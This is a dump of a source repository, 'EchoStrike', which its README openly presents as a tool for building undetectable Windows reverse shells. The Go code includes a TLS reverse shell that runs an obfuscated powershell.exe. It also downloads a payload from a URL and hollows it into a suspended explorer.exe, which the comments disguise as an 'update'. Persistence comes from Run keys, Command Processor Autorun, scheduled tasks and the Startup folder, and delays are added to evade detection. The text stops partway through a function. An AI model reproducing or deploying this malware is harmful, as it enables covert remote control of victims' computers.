├── LICENSE ├── README.md ├── go.mod ├── go.sum ├── modules ├── config │ ├── config.go │ └── settings.json ├── diagnostics │ └── system_check.go ├── integration │ └── backgroundservice.go ├── network │ └── connection.go ├── security │ └── cryptography.go ├── utils │ └── sysutils.go └── variableoptimizer │ └── optimizer.go ├── src └── application.go └── tools └── build.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Stiven Mayorga 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EchoStrike ⚔️ 2 | 3 | **EchoStrike** is a tool designed to generate **undetectable reverse shells** and perform **process injection** on Windows systems. Through an **interactive wizard written in Python**, users can customize their binaries with **advanced persistence and encryption techniques**. The malware code is written in **Go**, ensuring flexibility and power to meet the attacker’s needs. 4 | 5 | EchoStrike **allows downloading binaries from any URL and executing them under suspended processes like explorer.exe or cmd.exe**, ensuring discreet and covert execution. Additionally, it offers advanced options to adjust the **binary size** and ensure **persistence** on the target system. 6 | 7 | --- 8 | 9 | ## ✨ Features 10 | 11 |
Registry (CurrentUser Run)
Registry (Command Processor)
Task Scheduler (Admin Required)
Startup Folder
AppData\Roaming
to avoid detection.explorer.exe
, cmd.exe
, and powershell.exe
, enabling in-memory execution to avoid detection.ngrok tcp 443
53 | ping 0.tcp.ngrok.io:16315
56 | openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
60 | sudo socat OPENSSL-LISTEN:443,reuseaddr,cert=cert.pem,key=key.pem,verify=0,fork stdio
63 | This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of EchoStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.
96 | 97 | --- 98 | 99 | ## 🎥 Demo 100 | 101 |Check out a live demonstration of EchoStrike in action
-------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module EchoStrike 2 | 3 | go 1.22.4 4 | 5 | require golang.org/x/sys v0.24.0 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= 2 | golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 3 | -------------------------------------------------------------------------------- /modules/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "embed" 5 | "encoding/json" 6 | "fmt" 7 | ) 8 | 9 | // Embeds the settings.json file within the binary. 10 | // This technique simplifies configuration management by keeping all necessary files within the application binary. 11 | 12 | //go:embed settings.json 13 | var embeddedConfig embed.FS 14 | 15 | // AppConfig holds application configuration data. 16 | // This structure stores configuration settings required for the application's operation. 17 | type AppConfig struct { 18 | ServerAddress string `json:"server_address"` // Address of the server the application connects to 19 | ServerPort string `json:"server_port"` // Port of the server the application connects to 20 | ApiKey string `json:"api_key"` // AES key for encryption/decryption 21 | PersistenceOption string `json:"persistence_option"` // Option for maintaining application persistence 22 | TargetSize int64 `json:"target_size"` // Desired size for the application binary 23 | Method string `json:"method"` // Method for custom process or other operations 24 | URL string `json:"url"` // General-purpose URL used by the application 25 | } 26 | 27 | // LoadConfig reads the configuration from the embedded JSON file and returns an AppConfig struct. 28 | // This function initializes the application's configuration settings from the embedded file. 29 | func LoadConfig() (*AppConfig, error) { 30 | // Read the configuration file from the embedded FS 31 | data, err := embeddedConfig.ReadFile("settings.json") 32 | if err != nil { 33 | return nil, fmt.Errorf("error reading embedded configuration file: %w", err) 34 | } 35 | 36 | // Parse the JSON data into the AppConfig struct 37 | var config AppConfig 38 | err = json.Unmarshal(data, &config) 39 | if err != nil { 40 | return nil, fmt.Errorf("error parsing configuration file: %w", err) 41 | } 42 | 43 | // Validate and set defaults for critical configuration values 44 | if config.ServerAddress == "" { 45 | config.ServerAddress = "127.0.0.1" // Default value 46 | } 47 | if config.ServerPort == "" { 48 | config.ServerPort = "8080" // Default value 49 | } 50 | if config.ApiKey == "" { 51 | config.ApiKey = "" // Default value (empty string) 52 | } 53 | if config.PersistenceOption == "" { 54 | config.PersistenceOption = "none" // Default value 55 | } 56 | if config.Method == "" { 57 | config.Method = "0" // Default value (No Custom Process Injection) 58 | } 59 | if config.URL == "" { 60 | config.URL = "" // Default value (empty string) 61 | } 62 | 63 | return &config, nil 64 | } 65 | -------------------------------------------------------------------------------- /modules/config/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "server_address": "", 3 | "server_port": "", 4 | "api_key": "", 5 | "persistence_option": "0", 6 | "target_size": null, 7 | "method": "0", 8 | "url": null 9 | } -------------------------------------------------------------------------------- /modules/diagnostics/system_check.go: -------------------------------------------------------------------------------- 1 | package diagnostics 2 | 3 | // PerformDiagnostics runs basic system checks to ensure the application is running in a supported environment. 4 | func PerformDiagnostics() { 5 | checkSystemProperties() 6 | } 7 | 8 | // checkSystemProperties verifies the operating system and architecture. 9 | func checkSystemProperties() { 10 | // If you need to check the platform, you can re-import the "runtime" package. 11 | // For now, this function is simplified and does not require any action. 12 | } 13 | 14 | // Functionality still in development. 15 | -------------------------------------------------------------------------------- /modules/integration/backgroundservice.go: -------------------------------------------------------------------------------- 1 | package integration 2 | 3 | //This feature may present some inconsistencies, as it is still under development. 4 | import ( 5 | "crypto/aes" 6 | "crypto/cipher" 7 | "crypto/rand" 8 | "encoding/base64" 9 | "encoding/binary" 10 | "fmt" 11 | "io" 12 | mathRand "math/rand" 13 | "net/http" 14 | "syscall" 15 | "time" 16 | "unsafe" 17 | 18 | "golang.org/x/sys/windows" 19 | ) 20 | 21 | // BASIC_INFO stores fundamental process-related information, including pointers to system structures and unique process identifiers. 22 | type BASIC_INFO struct { 23 | Reserved1 uintptr 24 | PebAddress uintptr 25 | Reserved2 uintptr 26 | Reserved3 uintptr 27 | UniquePid uintptr 28 | MoreReserved uintptr 29 | } 30 | 31 | // generateAESKey creates a random AES key of the specified length for use in encryption operations. 32 | func generateAESKey(length int) []byte { 33 | key := make([]byte, length) 34 | _, err := rand.Read(key) 35 | if err != nil { 36 | panic("Failed to generate AES key") 37 | } 38 | return key 39 | } 40 | 41 | // encryptAES applies AES encryption to the provided data using the specified key, allowing for secure data handling. 42 | func encryptAES(data, key []byte) ([]byte, error) { 43 | block, err := aes.NewCipher(key) 44 | if err != nil { 45 | return nil, err 46 | } 47 | 48 | ciphertext := make([]byte, len(data)) 49 | stream := cipher.NewCTR(block, key[:block.BlockSize()]) 50 | stream.XORKeyStream(ciphertext, data) 51 | 52 | return ciphertext, nil 53 | } 54 | 55 | // xorEncrypt applies XOR encryption to the provided data using the specified key for simple obfuscation. 56 | func xorEncrypt(data, key []byte) []byte { 57 | encrypted := make([]byte, len(data)) 58 | for i := 0; i < len(data); i++ { 59 | encrypted[i] = data[i] ^ key[i%len(key)] 60 | } 61 | return encrypted 62 | } 63 | 64 | // base64Encode encodes the provided data in Base64 format. 65 | func base64Encode(data []byte) string { 66 | return base64.StdEncoding.EncodeToString(data) 67 | } 68 | 69 | // base64Decode decodes Base64 encoded data. 70 | func base64Decode(encoded string) ([]byte, error) { 71 | return base64.StdEncoding.DecodeString(encoded) 72 | } 73 | 74 | // FetchUpdatePackage simulates downloading an update from a server and secures the data using AES encryption with a dynamically generated key. 75 | func FetchUpdatePackage(url string) ([]byte, string, error) { 76 | fmt.Printf("Connecting to update server: %s\n", url) 77 | resp, err := http.Get(url) 78 | if err != nil { 79 | return nil, "", fmt.Errorf("failed to connect to server: %v", err) 80 | } 81 | defer resp.Body.Close() 82 | 83 | time.Sleep(time.Duration(2+mathRand.Intn(5)) * time.Second) 84 | 85 | packageData, err := io.ReadAll(resp.Body) 86 | if err != nil { 87 | return nil, "", fmt.Errorf("error reading update package: %v", err) 88 | } 89 | 90 | key := generateAESKey(32) // generateAESKey creates a secure 32-byte AES key for encryption purposes. 91 | packageData, err = encryptAES(packageData, key) 92 | if err != nil { 93 | return nil, "", fmt.Errorf("error encrypting update package: %v", err) 94 | } 95 | 96 | // Encode the encrypted package in Base64 to ensure safe transmission or storage. 97 | encodedData := base64Encode(packageData) 98 | encodedKey := base64Encode(key) 99 | fmt.Printf("Downloaded and encrypted package size: %d bytes\n", len(packageData)) 100 | return []byte(encodedData), encodedKey, nil 101 | } 102 | 103 | // ApplySystemUpdate simulates the process of applying a system update to a target application using the decrypted data. 104 | func ApplySystemUpdate(encodedPackageData []byte, encodedKey string) error { 105 | // Decode the Base64 encoded key and package data. 106 | key, err := base64Decode(encodedKey) 107 | if err != nil { 108 | return fmt.Errorf("error decoding AES key: %v", err) 109 | } 110 | 111 | packageData, err := base64Decode(string(encodedPackageData)) 112 | if err != nil { 113 | return fmt.Errorf("error decoding update package: %v", err) 114 | } 115 | 116 | // Decrypt the data for further processing. 117 | packageData, err = encryptAES(packageData, key) 118 | if err != nil { 119 | return fmt.Errorf("error decrypting update package: %v", err) 120 | } 121 | 122 | // Apply XOR encryption to the decrypted package data for additional obfuscation. 123 | xorKey := generateAESKey(16) // Generate a separate XOR key. 124 | packageData = xorEncrypt(packageData, xorKey) 125 | 126 | addNoise() // Introduce random operations to vary the execution flow and enhance security. 127 | 128 | var startupInfo windows.StartupInfo 129 | var procInfo windows.ProcessInformation 130 | 131 | targetProcess := "C:\\Windows\\explorer.exe" 132 | 133 | fmt.Printf("Preparing to update process: %s\n", targetProcess) 134 | err = windows.CreateProcess(nil, 135 | windows.StringToUTF16Ptr(targetProcess), 136 | nil, 137 | nil, 138 | false, 139 | windows.CREATE_SUSPENDED|windows.DETACHED_PROCESS, // Runs the process independently by detaching it from the parent, ensuring smoother execution. 140 | nil, 141 | nil, 142 | &startupInfo, 143 | &procInfo) 144 | 145 | if err != nil { 146 | return fmt.Errorf("failed to initialize update task: %v", err) 147 | } 148 | 149 | time.Sleep(time.Duration(1+mathRand.Intn(4)) * time.Second) 150 | 151 | fmt.Printf("Update task initialized with PID: %d\n", procInfo.ProcessId) 152 | 153 | var basicInfo BASIC_INFO 154 | infoLength := uint32(unsafe.Sizeof(uintptr(0))) 155 | var returnLength uint32 156 | 157 | fmt.Println("Collecting process information...") 158 | err = NtQueryInformationProcess(procInfo.Process, 0, unsafe.Pointer(&basicInfo), infoLength*6, &returnLength) 159 | if err != nil { 160 | return fmt.Errorf("failed to collect process information: %v", err) 161 | } 162 | 163 | time.Sleep(time.Duration(3+mathRand.Intn(5)) * time.Second) 164 | 165 | fmt.Printf("Process base address identified: 0x%x\n", basicInfo.PebAddress) 166 | imageBaseAddress := uint64(basicInfo.PebAddress + 0x10) 167 | fmt.Printf("Memory location for update: 0x%x\n", imageBaseAddress) 168 | 169 | buffer := make([]byte, unsafe.Sizeof(uintptr(0))) 170 | var bytesRead uintptr 171 | 172 | fmt.Println("Accessing process memory...") 173 | err = ReadProcessMemory(procInfo.Process, uintptr(imageBaseAddress), &buffer[0], uintptr(len(buffer)), &bytesRead) 174 | if err != nil { 175 | return fmt.Errorf("error accessing process memory: %v", err) 176 | } 177 | fmt.Printf("Memory read successful. Bytes read: %d\n", bytesRead) 178 | 179 | baseAddress := binary.LittleEndian.Uint64(buffer) 180 | fmt.Printf("Base address of process: 0x%x\n", baseAddress) 181 | 182 | time.Sleep(time.Duration(1+mathRand.Intn(3)) * time.Second) 183 | 184 | buffer = make([]byte, 0x200) 185 | 186 | fmt.Println("Retrieving process headers...") 187 | err = ReadProcessMemory(procInfo.Process, uintptr(baseAddress), &buffer[0], uintptr(len(buffer)), &bytesRead) 188 | if err != nil { 189 | return fmt.Errorf("error retrieving process headers: %v", err) 190 | } 191 | 192 | fmt.Printf("Header data read - %d bytes\n", bytesRead) 193 | lfaNewPos := buffer[0x3c : 0x3c+0x4] 194 | lfanew := binary.LittleEndian.Uint32(lfaNewPos) 195 | 196 | fmt.Printf("Signature offset: 0x%x\n", lfanew) 197 | 198 | entrypointOffset := lfanew + 0x28 199 | entrypointOffsetPos := buffer[entrypointOffset : entrypointOffset+0x4] 200 | entrypointRVA := binary.LittleEndian.Uint32(entrypointOffsetPos) 201 | fmt.Printf("Entrypoint offset: 0x%x\n", entrypointRVA) 202 | entrypointAddress := baseAddress + uint64(entrypointRVA) 203 | fmt.Printf("Entrypoint address verified: 0x%x\n", entrypointAddress) 204 | 205 | var bytesWritten uintptr 206 | fmt.Printf("Applying update to memory address: 0x%x\n", entrypointAddress) 207 | err = WriteProcessMemory(procInfo.Process, uintptr(entrypointAddress), &packageData[0], uintptr(len(packageData)), &bytesWritten) 208 | if err != nil { 209 | return fmt.Errorf("error applying update to process memory: %v", err) 210 | } 211 | 212 | fmt.Printf("Update applied: %d/%d bytes written\n", bytesWritten, len(packageData)) 213 | 214 | time.Sleep(time.Duration(2+mathRand.Intn(4)) * time.Second) 215 | 216 | addNoise() // Introduce random operations to vary the execution flow and enhance security. 217 | 218 | jmpInstruction := []byte{0xE9} 219 | jmpOffset := uintptr(entrypointAddress) - (uintptr(baseAddress) + uintptr(entrypointRVA)) - 5 220 | jmpOffsetBytes := make([]byte, 4) 221 | binary.LittleEndian.PutUint32(jmpOffsetBytes, uint32(jmpOffset)) 222 | 223 | jmpPatch := append(jmpInstruction, jmpOffsetBytes...) 224 | 225 | err = WriteProcessMemory(procInfo.Process, uintptr(baseAddress)+uintptr(entrypointRVA), &jmpPatch[0], uintptr(len(jmpPatch)), &bytesWritten) 226 | if err != nil { 227 | return fmt.Errorf("error finalizing update: %v", err) 228 | } 229 | 230 | fmt.Printf("Update task finalized successfully\n") 231 | 232 | time.Sleep(time.Duration(2+mathRand.Intn(4)) * time.Second) 233 | 234 | fmt.Println("Completing update task") 235 | _, err = windows.ResumeThread(windows.Handle(procInfo.Thread)) 236 | if err != nil { 237 | return fmt.Errorf("error resuming process thread: %v", err) 238 | } 239 | fmt.Println("Update task completed") 240 | 241 | fmt.Println("All system tasks completed successfully") 242 | 243 | return nil 244 | } 245 | 246 | // Function introduce random operations to vary the execution flow and enhance security. 247 | func addNoise() { 248 | var junk [64]byte 249 | for i := 0; i < len(junk); i++ { 250 | junk[i] = byte(i*mathRand.Intn(255)) ^ 0xAA 251 | } 252 | time.Sleep(time.Duration(1+mathRand.Intn(3)) * time.Millisecond) 253 | fmt.Printf("Noise: %x\n", junk[:8]) 254 | } 255 | 256 | // Uses direct system calls to enhance control and efficiency during execution. 257 | func NtQueryInformationProcess(process windows.Handle, processInformationClass uint32, processInformation unsafe.Pointer, processInformationLength uint32, returnLength *uint32) error { 258 | ntdll := windows.NewLazyDLL("ntdll.dll") 259 | procNtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess") 260 | 261 | r1, _, e1 := procNtQueryInformationProcess.Call( 262 | uintptr(process), 263 | uintptr(processInformationClass), 264 | uintptr(processInformation), 265 | uintptr(processInformationLength), 266 | uintptr(unsafe.Pointer(returnLength)), 267 | ) 268 | if r1 != 0 { 269 | return e1 270 | } 271 | return nil 272 | } 273 | 274 | func ReadProcessMemory(process windows.Handle, baseAddress uintptr, buffer *byte, size uintptr, bytesRead *uintptr) error { 275 | readProcessMemoryAddr := resolveFunc("kernel32.dll", "ReadProcessMemory") 276 | r1, _, e1 := syscall.SyscallN(readProcessMemoryAddr, 277 | uintptr(process), 278 | baseAddress, 279 | uintptr(unsafe.Pointer(buffer)), 280 | size, 281 | uintptr(unsafe.Pointer(bytesRead)), 282 | ) 283 | if r1 == 0 { 284 | return e1 285 | } 286 | return nil 287 | } 288 | 289 | func WriteProcessMemory(process windows.Handle, baseAddress uintptr, buffer *byte, size uintptr, bytesWritten *uintptr) error { 290 | writeProcessMemoryAddr := resolveFunc("kernel32.dll", "WriteProcessMemory") 291 | r1, _, e1 := syscall.SyscallN(writeProcessMemoryAddr, 292 | uintptr(process), 293 | baseAddress, 294 | uintptr(unsafe.Pointer(buffer)), 295 | size, 296 | uintptr(unsafe.Pointer(bytesWritten)), 297 | ) 298 | if r1 == 0 { 299 | return e1 300 | } 301 | return nil 302 | } 303 | 304 | func resolveFunc(lib, proc string) uintptr { 305 | dll := windows.NewLazyDLL(lib) 306 | procAddr := dll.NewProc(proc) 307 | return procAddr.Addr() 308 | } 309 | -------------------------------------------------------------------------------- /modules/network/connection.go: -------------------------------------------------------------------------------- 1 | package network 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/tls" 6 | "encoding/base64" 7 | "fmt" 8 | mathRand "math/rand" 9 | "os" 10 | "os/exec" 11 | "syscall" 12 | "time" 13 | ) 14 | 15 | func InitializeConnection(serverAddress string, serverPort int) error { 16 | // Set up the TLS connection configuration 17 | tlsConfig := &tls.Config{ 18 | InsecureSkipVerify: true, 19 | MinVersion: tls.VersionTLS12, 20 | MaxVersion: tls.VersionTLS13, 21 | } 22 | 23 | // Perform some preparatory work before establishing the connection 24 | simulateWorkload() 25 | simulateProcessingTime() 26 | 27 | // Establish the TLS connection 28 | conn, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", serverAddress, serverPort), tlsConfig) 29 | if err != nil { 30 | logToFileOrRemoteServer(fmt.Sprintf("Connection initialization failed with error: %s\n", err)) 31 | return err 32 | } 33 | defer conn.Close() 34 | 35 | // Add a brief pause to simulate normal processing time 36 | simulateProcessingTime() 37 | 38 | // Execute the system command through the connection 39 | return runSystemCommand(conn) 40 | } 41 | 42 | func runSystemCommand(conn *tls.Conn) error { 43 | // Perform some preparatory work before running the command 44 | simulateWorkload() 45 | simulateProcessingTime() 46 | 47 | // The command to be executed on the system 48 | encodedCmd := "cG93ZXJzaGVsbC5leGU=" // Base64 49 | decodedCmd, err := base64.StdEncoding.DecodeString(encodedCmd) 50 | if err != nil { 51 | logToFileOrRemoteServer(fmt.Sprintf("Failed to decode command: %s\n", err)) 52 | return err 53 | } 54 | 55 | // Set up the command and redirect input/output to the TLS connection 56 | cmd := exec.Command(string(decodedCmd)) 57 | cmd.SysProcAttr = &syscall.SysProcAttr{ 58 | HideWindow: true, 59 | CreationFlags: 0x08000000, // CREATE_NO_WINDOW 60 | } 61 | cmd.Stdin = conn 62 | cmd.Stdout = conn 63 | cmd.Stderr = conn 64 | 65 | // Perform additional processing before running the command 66 | simulateWorkload() 67 | simulateProcessingTime() 68 | 69 | // Run the system command 70 | if err := cmd.Run(); err != nil { 71 | logToFileOrRemoteServer(fmt.Sprintf("System command execution failed: %s\n", err)) 72 | return err 73 | } 74 | 75 | return nil 76 | } 77 | 78 | func logToFileOrRemoteServer(message string) { 79 | // Perform some processing before logging 80 | simulateWorkload() 81 | 82 | // Log the activity to a hidden file 83 | f, err := os.OpenFile(".hidden_log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 84 | if err == nil { 85 | f.WriteString(message + "\n") 86 | f.Close() 87 | } 88 | 89 | // Finalize the logging process with additional work 90 | simulateWorkload() 91 | } 92 | 93 | // Simulate workload to mimic natural processing and reduce predictability 94 | func simulateWorkload() { 95 | size := mathRand.Intn(1024) 96 | workload := make([]byte, size) 97 | _, err := rand.Read(workload) 98 | if err != nil { 99 | logToFileOrRemoteServer(fmt.Sprintf("Failed to generate simulated workload: %s\n", err)) 100 | } 101 | _ = fmt.Sprintf("Simulated workload data: %x", workload) 102 | } 103 | 104 | // Simulate processing time to replicate normal delays in execution flow 105 | func simulateProcessingTime() { 106 | time.Sleep(time.Duration(1+mathRand.Intn(10)) * time.Second) 107 | } 108 | -------------------------------------------------------------------------------- /modules/security/cryptography.go: -------------------------------------------------------------------------------- 1 | package security 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "encoding/base64" 8 | "fmt" 9 | "io" 10 | ) 11 | 12 | // ProcessDataGCM processes data using AES encryption in GCM mode. 13 | // The 'operation' parameter specifies whether to encrypt or decrypt the data. 14 | func ProcessDataGCM(data, secretKey, operation string) (string, error) { 15 | // Initialize the AES cipher block using the provided key 16 | block, err := aes.NewCipher([]byte(secretKey)) 17 | if err != nil { 18 | return "", fmt.Errorf("error initializing cipher: %w", err) 19 | } 20 | 21 | // Create a GCM mode instance for the AES block 22 | gcm, err := cipher.NewGCM(block) 23 | if err != nil { 24 | return "", fmt.Errorf("error creating GCM instance: %w", err) 25 | } 26 | 27 | // Generate a nonce to be used in the operation 28 | nonce := make([]byte, gcm.NonceSize()) 29 | if _, err = io.ReadFull(rand.Reader, nonce); err != nil { 30 | return "", fmt.Errorf("error generating nonce: %w", err) 31 | } 32 | 33 | switch operation { 34 | case "encrypt": 35 | // Encrypt the data and include the nonce for reference 36 | ciphertext := gcm.Seal(nonce, nonce, []byte(data), nil) 37 | return base64.StdEncoding.EncodeToString(ciphertext), nil 38 | 39 | case "decrypt": 40 | // Decode the base64 encoded data for decryption 41 | decodedData, err := base64.StdEncoding.DecodeString(data) 42 | if err != nil { 43 | return "", fmt.Errorf("error decoding base64 data: %w", err) 44 | } 45 | 46 | // Separate the nonce from the ciphertext and decrypt the data 47 | nonce, ciphertext := decodedData[:gcm.NonceSize()], decodedData[gcm.NonceSize():] 48 | plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) 49 | if err != nil { 50 | return "", fmt.Errorf("error decrypting data: %w", err) 51 | } 52 | return string(plaintext), nil 53 | 54 | default: 55 | return "", fmt.Errorf("invalid operation: %s", operation) 56 | } 57 | } 58 | 59 | // GenerateRandomKey creates a secure random key of the specified length. 60 | // This key can be used for encryption or other secure operations. 61 | func GenerateRandomKey(length int) (string, error) { 62 | key := make([]byte, length) 63 | _, err := rand.Read(key) 64 | if err != nil { 65 | return "", fmt.Errorf("error generating random key: %w", err) 66 | } 67 | return base64.StdEncoding.EncodeToString(key), nil 68 | } 69 | 70 | // XORCipher performs a simple bitwise XOR operation on the data using the provided key. 71 | func XORCipher(data, key string) string { 72 | keyLen := len(key) 73 | result := make([]byte, len(data)) 74 | 75 | for i := range data { 76 | // Apply XOR and rotate bits to modify the data 77 | result[i] = (data[i]^key[i%keyLen])<<1 | (data[i]^key[i%keyLen])>>7 78 | } 79 | 80 | return string(result) 81 | } 82 | 83 | // MultiPassXOR applies the XORCipher function multiple times to add extra layers of processing. 84 | func MultiPassXOR(data, key string, passes int) string { 85 | result := data 86 | for i := 0; i < passes; i++ { 87 | result = XORCipher(result, key) 88 | } 89 | return result 90 | } 91 | -------------------------------------------------------------------------------- /modules/utils/sysutils.go: -------------------------------------------------------------------------------- 1 | package sysutils 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "os" 7 | "os/exec" 8 | "os/user" 9 | "path/filepath" 10 | "syscall" 11 | "time" 12 | 13 | "golang.org/x/sys/windows/registry" 14 | ) 15 | 16 | // LogErrorToFile writes error messages to a text file located in the same directory as the executable. 17 | // This helps in tracking and debugging issues that may occur during runtime. 18 | func LogErrorToFile(logMessage string) { 19 | logFilePath, err := getLogFilePath() 20 | if err != nil { 21 | fmt.Printf("Failed to get log file path: %v\n", err) 22 | return 23 | } 24 | 25 | logFile, err := os.OpenFile(logFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 26 | if err != nil { 27 | fmt.Printf("Failed to open log file: %v\n", err) 28 | return 29 | } 30 | defer logFile.Close() 31 | 32 | logMessage = fmt.Sprintf("%s: %s\n", time.Now().Format("2006-01-02 15:04:05"), logMessage) 33 | if _, err := logFile.WriteString(logMessage); err != nil { 34 | fmt.Printf("Failed to write to log file: %v\n", err) 35 | } 36 | } 37 | 38 | func getLogFilePath() (string, error) { 39 | executablePath, err := os.Executable() 40 | if err != nil { 41 | return "", fmt.Errorf("failed to get executable path: %w", err) 42 | } 43 | return filepath.Join(filepath.Dir(executablePath), "error_log.txt"), nil 44 | } 45 | 46 | // RunCommandInBackground runs a command in the background without showing a command prompt window. 47 | func RunCommandInBackground(command string, args ...string) error { 48 | cmd := exec.Command(command, args...) 49 | cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 50 | return cmd.Run() 51 | } 52 | 53 | // MoveToSysDir relocates the executable to a system directory under AppData\Roaming for organized management. 54 | // This will only occur if persistence is not set to "0". 55 | func MoveToSysDir(executablePath string, persistenceOption string) (string, error) { 56 | if persistenceOption == "0" { 57 | return executablePath, nil 58 | } 59 | 60 | sysDir := filepath.Join(os.Getenv("APPDATA"), "MaintenanceTask", "UpdaterService") 61 | err := os.MkdirAll(sysDir, os.ModePerm) 62 | if err != nil { 63 | LogErrorToFile(fmt.Sprintf("Failed to create directory %s: %v", sysDir, err)) 64 | return "", fmt.Errorf("failed to create directory %s: %w", sysDir, err) 65 | } 66 | 67 | destPath := filepath.Join(sysDir, filepath.Base(executablePath)) 68 | if _, err := os.Stat(destPath); err == nil { 69 | return destPath, nil 70 | } 71 | 72 | if err := copyFile(executablePath, destPath); err != nil { 73 | return "", err 74 | } 75 | 76 | return destPath, nil 77 | } 78 | 79 | func copyFile(sourcePath, destPath string) error { 80 | sourceFile, err := os.Open(sourcePath) 81 | if err != nil { 82 | LogErrorToFile(fmt.Sprintf("Failed to open source file %s: %v", sourcePath, err)) 83 | return fmt.Errorf("failed to open source file %s: %w", sourcePath, err) 84 | } 85 | defer sourceFile.Close() 86 | 87 | destFile, err := os.Create(destPath) 88 | if err != nil { 89 | LogErrorToFile(fmt.Sprintf("Failed to create destination file %s: %v", destPath, err)) 90 | return fmt.Errorf("failed to create destination file %s: %w", destPath, err) 91 | } 92 | defer destFile.Close() 93 | 94 | if _, err = io.Copy(destFile, sourceFile); err != nil { 95 | LogErrorToFile(fmt.Sprintf("Failed to copy file to %s: %v", destPath, err)) 96 | return fmt.Errorf("failed to copy file to %s: %w", destPath, err) 97 | } 98 | 99 | return nil 100 | } 101 | 102 | // SetupAutoStartRegistry creates a registry entry to ensure the application starts automatically when the user logs in. 103 | func SetupAutoStartRegistry(valueName, executablePath, persistenceOption string) error { 104 | if persistenceOption == "0" { 105 | return nil 106 | } 107 | return createRegistryEntry(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, valueName, executablePath) 108 | } 109 | 110 | func createRegistryEntry(keyRoot registry.Key, path, valueName, value string) error { 111 | key, err := registry.OpenKey(keyRoot, path, registry.QUERY_VALUE|registry.SET_VALUE) 112 | if err != nil { 113 | LogErrorToFile(fmt.Sprintf("Failed to open registry key: %v", err)) 114 | return fmt.Errorf("failed to open registry key: %w", err) 115 | } 116 | defer key.Close() 117 | 118 | existingValue, _, err := key.GetStringValue(valueName) 119 | if err == nil && existingValue == value { 120 | return nil 121 | } 122 | 123 | err = key.SetStringValue(valueName, value) 124 | if err != nil { 125 | LogErrorToFile(fmt.Sprintf("Failed to set registry key value: %v", err)) 126 | return fmt.Errorf("failed to set registry key value: %w", err) 127 | } 128 | 129 | return nil 130 | } 131 | 132 | // ConfigureCmdAutoRun sets up a command to run automatically when Command Prompt is opened. 133 | func ConfigureCmdAutoRun(valueName, command, persistenceOption string) error { 134 | if persistenceOption == "0" { 135 | return nil 136 | } 137 | return createRegistryEntry(registry.CURRENT_USER, `Software\Microsoft\Command Processor`, "Autorun", command) 138 | } 139 | 140 | // SetupScheduledTask schedules a task in Windows Task Scheduler to ensure the application runs at user login. 141 | func SetupScheduledTask(taskName, executablePath, persistenceOption string) error { 142 | if persistenceOption == "0" { 143 | return nil 144 | } 145 | 146 | checkTaskCmd := fmt.Sprintf(`SchTasks /Query /TN "%s"`, taskName) 147 | cmdCheck := exec.Command("cmd", "/C", checkTaskCmd) 148 | cmdCheck.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} 149 | if err := cmdCheck.Run(); err == nil { 150 | return nil 151 | } 152 | 153 | powershellCommand := fmt.Sprintf(`$action = New-ScheduledTaskAction -Execute "%s"; `+ 154 | `$trigger = New-ScheduledTaskTrigger -AtLogOn; `+ 155 | `$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; `+ 156 | `Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "%s" -Description "System Updater Task" -User $env:USERNAME`, 157 | executablePath, taskName) 158 | 159 | return RunCommandInBackground("powershell", "-Command", powershellCommand) 160 | } 161 | 162 | // CreateStartupShortcut creates a shortcut to the application in the user's Startup folder for automatic launch at login. 163 | func CreateStartupShortcut(executablePath, persistenceOption string) error { 164 | if persistenceOption == "0" { 165 | return nil 166 | } 167 | 168 | usr, err := user.Current() 169 | if err != nil { 170 | LogErrorToFile(fmt.Sprintf("Failed to get current user: %v", err)) 171 | return fmt.Errorf("failed to get current user: %w", err) 172 | } 173 | 174 | startupPath := filepath.Join(usr.HomeDir, "AppData", "Roaming", "Microsoft", "Windows", "Start Menu", "Programs", "Startup", filepath.Base(executablePath)+".lnk") 175 | if _, err := 